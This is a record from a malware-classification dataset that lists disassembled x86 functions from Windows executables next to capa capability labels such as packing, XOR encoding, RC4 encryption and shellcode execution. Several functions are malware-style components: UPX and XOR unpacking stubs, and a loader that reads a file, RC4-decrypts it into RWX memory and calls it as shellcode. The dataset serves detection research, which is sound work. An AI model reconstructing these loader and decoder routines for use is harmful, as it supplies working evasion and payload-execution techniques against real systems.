joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450070
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4a000]
push edi
jmp 0x45008a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x450091
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450080
mov eax, 1
add ebx, ebx
jne 0x4500a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x450098
jne 0x4500b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x450098
xor ecx, ecx
sub eax, 3
jb 0x4500c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45013a
mov ebp, eax
add ebx, ebx
jne 0x4500d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4500e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x450104
inc ecx
add ebx, ebx
jne 0x4500f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4500e5
jne 0x450101
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4500e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x450124
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x450115
jmp 0x450086
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x450124
add edi, ecx
jmp 0x450086
pop esi
mov edi, esi
mov ecx, 0x278
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x450142
cmp byte [edi], 0
jne 0x450142
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x450147
lea edi, [esi + 0x4e000]
mov eax, dword [edi]
or eax, eax
je 0x4501bf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x52f40]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x52ff8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x450174
mov ecx, edi
jns 0x4501a3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x53000]
or eax, eax
je 0x4501b9
mov dword [ebx], eax
add ebx, 4
jmp 0x450191
call dword [esi + 0x52ffc]
mov ebp, dword [esi + 0x53004]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4501f3
sub esp, 0xffffff80
jmp 0x403814
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1c787108
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5221b2f
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x408720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40872f
pop dword [ebp - 0x44]
mov eax, 0x40872f
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x294e4c92
add dword [ebp - 0x54], 0x2503f8b9
mov dword [ebp - 0x50], 0x530bfc9d
sub dword [ebp - 0x50], 0x20d8b058
mov dword [ebp - 0x4c], 0xae09717e
sub dword [ebp - 0x4c], 0x61bd2d50
mov dword [ebp - 0x48], 0xf4136245
sub dword [ebp - 0x48], 0xf4136245
lea eax, [ebp - 0x54]
push eax
mov eax, 0x2c9b7eaa
add eax, 0xd3a5e1ee
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x53305b10
sub dword [ebp - 0x54], 0xdebdf1ba
mov dword [ebp - 0x50], 0xbadad833
add dword [ebp - 0x50], 0x86918942
mov dword [ebp - 0x4c], 0x37cbca96
sub dword [ebp - 0x4c], 0xd45c5e2a
mov dword [ebp - 0x48], 0xf880e4ac
sub dword [ebp - 0x48], 0xf880e4ac
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xf723eedb
add eax, 0x91d7199
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x41a31
push 0
call eax
mov ecx, 0x5f1dfa84
sub ecx, 0x5f1d9994
xor esi, esi
add esi, eax
mov edx, 0x2323a939
add edx, 0xdd1efcc7
add edx, dword [ebp - 0x44]
mov ebx, 0x5b1b8cdf
sub ebx, 0x4c00d794
add dword [ebp - 0x40], 0xe2cdb141
mov edi, dword [edx]
xor dword [ebp - 0x24], 0xf613d167
xor edi, ebx
mov dword [esi], edi
xor dword [ebp - 0xc], ecx
add esi, 0x37768421
sub esi, 0x3776841d
add edx, 4
loop 0x40884e
add eax, 0xfbdb32dd
sub eax, 0xfbd9bc4a
mov ebx, eax
add eax, 0xe1c5c0cd
sub eax, 0xe1c5c0c8
mov ecx, 0x968da192
add ecx, 0x69b25e6e
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1333630
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xedd000]
push edi
jmp 0x133364a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1333651
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1333640
mov eax, 1
add ebx, ebx
jne 0x1333663
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1333674
jne 0x1333693
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1333693
dec eax
add ebx, ebx
jne 0x1333680
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1333658
add ebx, ebx
jne 0x133368f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x13336e5
xor ecx, ecx
sub eax, 3
jb 0x13336ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x133371a
sar eax, 1
mov ebp, eax
jmp 0x13336b6
add ebx, ebx
jne 0x13336b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1333684
inc ecx
add ebx, ebx
jne 0x13336c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1333684
add ebx, ebx
jne 0x13336d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x13336c6
jne 0x13336e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x13336c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1333704
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x13336f6
jmp 0x1333646
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1333704
add edi, ecx
jmp 0x1333646
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1333722
cmp byte [edi], 0x11
jne 0x1333722
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1333727
lea edi, [esi + 0xf2c000]
mov eax, dword [edi]
or eax, eax
je 0x133379f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d8e960]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d8eadc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1333754
mov ecx, edi
jns 0x1333783
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d8eae0]
or eax, eax
je 0x1333799
mov dword [ebx], eax
add ebx, 4
jmp 0x1333771
call dword [esi + 0x1d8eaf0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x13337d0
cmp al, 0xef
ja 0x13337c3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x13337a5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x13337b2
mov ebp, dword [esi + 0x1d8eae4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1333804
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x10001000
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
push esi
test ecx, ecx
je 0x1000107d
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000107d
xor eax, eax
lea ebx, [ebx]
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x10001020
push ebx
push edi
mov dword [ebp - 4], 0
xor edi, edi
mov eax, edi
mov bl, byte [edi + esi]
cdq
idiv dword [ebp - 8]
movzx eax, byte [edx + ecx]
add eax, dword [ebp - 4]
movzx ecx, bl
add ecx, eax
and ecx, 0x800000ff
jns 0x1000105b
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ecx + esi]
mov byte [edi + esi], al
inc edi
mov dword [ebp - 4], ecx
mov byte [ecx + esi], bl
mov ecx, dword [ebp - 0xc]
cmp edi, 0x100
jl 0x10001036
pop edi
pop ebx
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x10c], edx
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x114], edx
push esi
mov esi, dword [ebp + 0x10]
test eax, eax
je 0x100011b1
test ecx, ecx
je 0x100011b1
test esi, esi
je 0x100011b1
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call section..text
add esp, 4
test eax, eax
je 0x100011b1
mov eax, dword [ebp - 0x10c]
push ebx
push edi
xor edi, edi
xor ebx, ebx
test eax, eax
jle 0x10001195
sub dword [ebp - 0x108], esi
mov dword [ebp - 0x110], eax
inc edi
and edi, 0x800000ff
jns 0x10001124
dec edi
or edi, 0xffffff00
inc edi
mov dl, byte [ebp + edi - 0x104]
movzx eax, dl
add ebx, eax
and ebx, 0x800000ff
jns 0x10001140
dec ebx
or ebx, 0xffffff00
inc ebx
movzx eax, byte [ebp + ebx - 0x104]
mov byte [ebp + edi - 0x104], al
mov byte [ebp + ebx - 0x104], dl
movzx ecx, byte [ebp + edi - 0x104]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x10001173
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ebp + ecx - 0x104]
mov ecx, dword [ebp - 0x108]
xor al, byte [ecx + esi]
mov byte [esi], al
inc esi
dec dword [ebp - 0x110]
jne 0x10001113
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x114]
pop edi
pop ebx
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100014c7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.100014c7
mov esp, ebp
pop ebp
ret
Function at 0x100011d0
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov eax, edx
mov esi, ecx
push 0x67
push str.MY_RCDATA
push esi
mov dword [ebp - 8], eax
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x100012a7
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000123f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000123f
cmp edi, 0xa
jne 0x10001248
cmp dword [esi], 0x33323130
jne 0x10001248
cmp dword [esi + 4], 0x37363534
jne 0x10001248
cmp word [esi + 8], 0x3938
jne 0x10001248
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10001241
mov ecx, str.tk0j0D0
mov dword [ebp - 4], edi
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001270
sub ecx, edx
lea eax, [ebp - 4]
sar ecx, 1
mov edx, edi
push eax
push ebx
lea eax, [ecx + ecx]
mov ecx, esi
push eax
push str.tk0j0D0
call fcn.10001090
mov eax, dword [ebp - 8]
add esp, 0x10
mov dword [eax], edi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100012b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [0x10003448], 0x100020c0
mov ebx, ecx
mov dword [0x1000344c], edi
mov edx, 0x1000345c
mov dword [ebp - 0x410], ebx
mov dword [0x10003450], edi
mov dword [0x10003454], edi
call fcn.100011d0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [0x10003458], eax
lea eax, [ebp - 0x204]
push 0x100
push eax
push ebx
call esi
test eax, eax
je 0x10001455
push 0x100
lea eax, [ebp - 0x404]
push eax
push edi
call esi
lea eax, [ebp - 0x404]
push 0x5c
push eax
call fcn.100014d6
add esp, 8
test eax, eax
je 0x10001355
push str.rundll32.exe
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov ecx, 1
cmovne edi, ecx
lea eax, [ebp - 0x204]
push 0x5c
push eax
call fcn.100014d6
add esp, 8
test eax, eax
je 0x10001449
mov ecx, str.uk1337BA1
lea edx, [eax + 2]
sub edx, ecx
jmp 0x10001380
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x10001380
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10001449
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x40c]
push eax
push esi
mov esi, dword [ebp - 0x408]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x10001449
mov edx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
push eax
push esi
push 8
push str.uL
mov ecx, esi
mov dword [ebp - 0x408], edx
call fcn.10001090
add esp, 0x10
push 0x10003448
push dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp - 0x40c]
push esi
push dword [ebp - 0x410]
call esi
test edi, edi
je 0x10001455
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100014c7
mov esp, ebp
pop ebp
ret
Function at 0x7adbf8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7adc02
pushal
call 0x7adc08
pop ebp
sub ebp, 0x10
sub ebp, 0x3adbf8
jmp 0x7adc1e
mov eax, 0x3adbf8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5fd
mov edx, 0xce114751
xor byte [eax], dl
inc eax
dec ecx
jne 0x7adc35
jmp 0x7adc48
ficomp dword [edx + ebx*8 + 0x51516dd8]
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x51cc2db1

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3ba37b5d
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x4fa164a1
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1003b47
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0xb8]
sub esp, 0x138
mov eax, dword [0x1008008]
push ebx
push esi
push edi
push 5
pop edx
push 0x47
mov ecx, edx
mov esi, 0x10013b4
lea edi, [ebp + 0xa0]
rep movsd dword es:[edi], dword [esi]
pop ecx
xor ebx, ebx
inc ebx
push ebx
xor esi, esi
push 2
mov dword [ebp + 0xb4], eax
xor eax, eax
push esi
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
push esi
mov dword [ebp - 0x7c], 0x11c
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], esi
mov word [ebp + 0x98], si
call sub.KERNEL32.dll_VerSetConditionMask
push ebx
push ebx
push edx
push eax
call sub.KERNEL32.dll_VerSetConditionMask
push 3
push 0x20
push edx
push eax
call sub.KERNEL32.dll_VerSetConditionMask
push edx
push eax
push 3
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
cmp eax, ebx
jne 0x1003bd7
push 0x47e
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
jmp 0x1003c3f
mov edi, 0x105
push ebx
lea eax, [edi + 0xa]
push eax
push esi
push esi
call fcn.01003d6b
cmp eax, esi
mov dword [ebp - 0x80], eax
je 0x1003c2b
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
je 0x1003c3d
cmp eax, edi
jbe 0x1003c0c
cmp edi, 0x105
je 0x1003c57
lea edi, [eax + 1]
xor eax, eax
cmp eax, esi
je 0x1003bdc
push 0x1001398
push dword [ebp - 0x80]
push 0x100138c
push 2
call fcn.01003874
add esp, 0x10
test eax, eax
jne 0x1003c68
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1003c3d
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp + 0xb4]
pop edi
pop esi
pop ebx
call fcn.01006d7a
add ebp, 0xb8
leave
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1003c3d
push 0x42b
jmp 0x1003c37
call fcn.01002cf2
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, esi
je 0x1003c3d
lea eax, [ebp + 0xa0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x1003c96
push dword [ebp + 0xc0]
call eax
mov esi, ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x1003c3f
Function at 0x1004cf3
Capabilities:
Initialize winsock library

Disassembly:
push ebp
lea ebp, [esp - 0x120]
sub esp, 0x1a0
mov eax, dword [0x1008008]
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x128]
cmp edi, esi
mov dword [ebp + 0x11c], eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x78], esi
je 0x1004e63
mov ebx, dword [ebp + 0x130]
cmp ebx, esi
je 0x1004e63
mov eax, dword [ebx]
cmp eax, esi
je 0x1004d51
cmp eax, 2
jb 0x1004e63
cmp dword [ebp + 0x12c], esi
je 0x1004e63
cmp dword [0x1008024], esi
jne 0x1004d82
lea eax, [ebp - 0x74]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1004d78
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x1004e6f
mov dword [0x1008024], 1
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 5
push eax
mov dword [ebp - 0x7c], eax
call fcn.010032f6
cmp eax, esi
mov dword [ebp - 0x78], eax
je 0x1004e0e
lea ecx, [ebp - 0x7c]
push ecx
push eax
push edi
call fcn.01003150
test eax, eax
je 0x1004e75
push dword [ebp - 0x78]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 0x80], eax
jne 0x1004dcb
lea eax, [ebp - 0x78]
push eax
call fcn.010036e8
jmp 0x1004de2
push 2
push 4
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, esi
mov dword [0x1008138], eax
jne 0x1004df7
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1004e75
push 0x42b
jmp 0x1004e6f
lea eax, [ebp - 0x78]
push eax
call fcn.010036e8
push esi
push esi
push edi
push 0x11
call fcn.01003d6b
cmp eax, esi
jne 0x1004e1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1004e75
push 8
jmp 0x1004e6f
mov ecx, dword [0x1008138]
cmp ecx, esi
je 0x1004e75
cmp dword [ebp + 0x134], esi
mov eax, dword [ecx]
mov dword [ebp - 0x78], eax
jne 0x1004e49
cmp eax, esi
je 0x1004e5e
push 0x10013e8
push dword [ecx]
call dword [sym.imp.msvcrt.dll_strtok]
pop ecx
pop ecx
mov dword [ebp - 0x78], eax
cmp eax, esi
je 0x1004e5e
push ebx
push dword [ebp + 0x12c]
push eax
call fcn.01003064
test eax, eax
je 0x1004e75
xor eax, eax
inc eax
jmp 0x1004e77
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1004e75
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp + 0x11c]
pop edi
pop esi
pop ebx
call fcn.01006d7a
add ebp, 0x120
leave
ret 0x10
Function at 0x1006b06
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001480
call fcn.01006d00
cmp word [0x1000000], 0x5a4d
jne 0x1006b45
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1006b45
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1006b5e
cmp ecx, 0x20b
je 0x1006b4b
and dword [ebp - 0x1c], 0
jmp 0x1006b75
cmp dword [eax + 0x1000084], 0xe
jbe 0x1006b45
xor ecx, ecx
cmp dword [eax + 0x10000f8], ecx
jmp 0x1006b6f
cmp dword [eax + 0x1000074], 0xe
jbe 0x1006b45
xor ecx, ecx
cmp dword [eax + 0x10000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
and dword [ebp - 4], 0
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1008150], 0xffffffff
or dword [0x1008154], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1008148]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1008144]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1008158], eax
call fcn.01006d70
cmp dword [0x1008010], 0
jne 0x1006bd2
push fcn.01006d70
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01006d5e
push 0x10011f8
push 0x10011f4
call sub.msvcrt.dll__initterm
mov eax, dword [0x1008140]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100813c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x10011f0
push 0x10011e8
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0100251d
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], 0
jne 0x1006c4a
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1006c7f
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01006d3b
ret

Function at 0x1006d7a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1008008]
jne 0x1006d83
ret
jmp 0x1006d88
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x1008008]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x1008160]
test eax, eax
je 0x1006dac
call eax
cmp dword [0x100815c], 0
je 0x1006df3
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x100815c]
pop edi
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.01006d7a
add ebp, 0x2a8
leave
ret